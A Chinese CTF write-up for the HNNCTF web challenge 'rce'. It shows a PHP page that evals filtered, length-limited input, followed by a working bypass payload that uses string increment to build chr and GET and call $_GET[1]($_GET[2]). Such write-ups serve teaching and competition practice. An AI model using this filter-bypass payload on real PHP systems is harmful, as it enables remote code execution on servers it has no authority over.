首页 > 其他分享 >HNNCTF web-Challenge__rce(自增命令执行+限制长度)

HNNCTF web-Challenge__rce(自增命令执行+限制长度)

时间:2022-10-29 22:26:38浏览次数:56  
标签:__ web 自增 ++ echo _. rce else

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}

话不多说,直接上payload先:

$_=[]._;$_3=$_[1];$_=$_[3];++$_;$_1=++$_;++$_;++$_;++$_;++$_;$_=$_1.++$_.$_3;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

翻译过来就是,$_GET[1]($_GET[2]);

重点在:$_=_.$_(71).$_(69).$_(84);这里先构造了chr函数:$_=$_1.++$_.$_3;($_=chr)

 

标签:__,web,自增,++,echo,_.,rce,else
From: https://www.cnblogs.com/meng-han/p/16840036.html

相关文章

  • 查看 MySQL 数据库文件储存位置
    #1.登录MySQLmysql-uroot-pEnterpassword:***#2.输入下面命令mysql>showglobalvariableslike"%datadir%";+---------------+------------------------......
  • python3使用libpcap库进行抓包及数据处理
    python版本:python3.9libpcap版本:1.11.0b7pythonlibpcap库是底层绑定c语言libpcap库的开发包,旨在提供python应用可访问的unixclibpcap库API(以及为win32系统提供的Npca......
  • 实验3:OpenFlow协议分析实践
    1.搭建下图所示拓扑,完成相关IP配置,并实现主机与主机之间的IP通信。用抓包软件获取控制器与交换机之间的通信数据。搭建拓扑所使用Python代码#!/usr/bin/envpython......
  • 第6章 需求分析方法
    一、需求分析模型二、结构化分析1、结构化需求分析建模:实体关系图3、结构化需求分析建模:数据流图4、结构化需求分析建模:状态转换图三、面向对象分析1、面向对象需求......
  • 实验6:开源控制器实践——RYU
    (一)基本要求1.搭建下图所示SDN拓扑,协议使用OpenFlow1.0,并连接Ryu控制器,通过Ryu的图形界面查看网络拓扑。2.阅读Ryu文档的TheFirstApplication一节,运行当中的L2Switch......
  • 实验5:开源控制器实践——POX
    (一)基础要求搭建下图所示SDN拓扑,协议使用OpenFlow1.0,控制器使用部署于本地的POX(默认监听6633端口)阅读Hub模块代码,使用tcpdump验证Hub模块;h1pingh2时,h2和h3都能接......
  • 学期2022-2023-1 学号20221417 《计算机基础与程序设计》第九周学习总结
    这个作业属于哪个课程<班级的链接>(如2022-2023-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2022-2023-1计算机基础与程序设计第九周作业这......
  • C语言学习--结构体套结构体
    #include<stdio.h>#include<stdlib.h>structstu{intid;intage;charname[128];};/*structheima_stu{intid;intage;charn......
  • 实验7:基于REST API的SDN北向应用实践
    (一)基本要求1.编写Python程序,调用OpenDaylight的北向接口实现以下功能(1)利用Mininet平台搭建下图所示网络拓扑,并连接OpenDaylight;(2)下发指令删除s1上的流表数据。1-2......
  • 8086存储器结构与IO组织
    8086支持一次性读写一个字节或字,8086有16条数据线,但是每个存储器里只能存储8个字节,所以8086不能一次性拿出存储器里的东西,所以,需要两个存储器,分为奇偶存储器。其中,D0-D7取......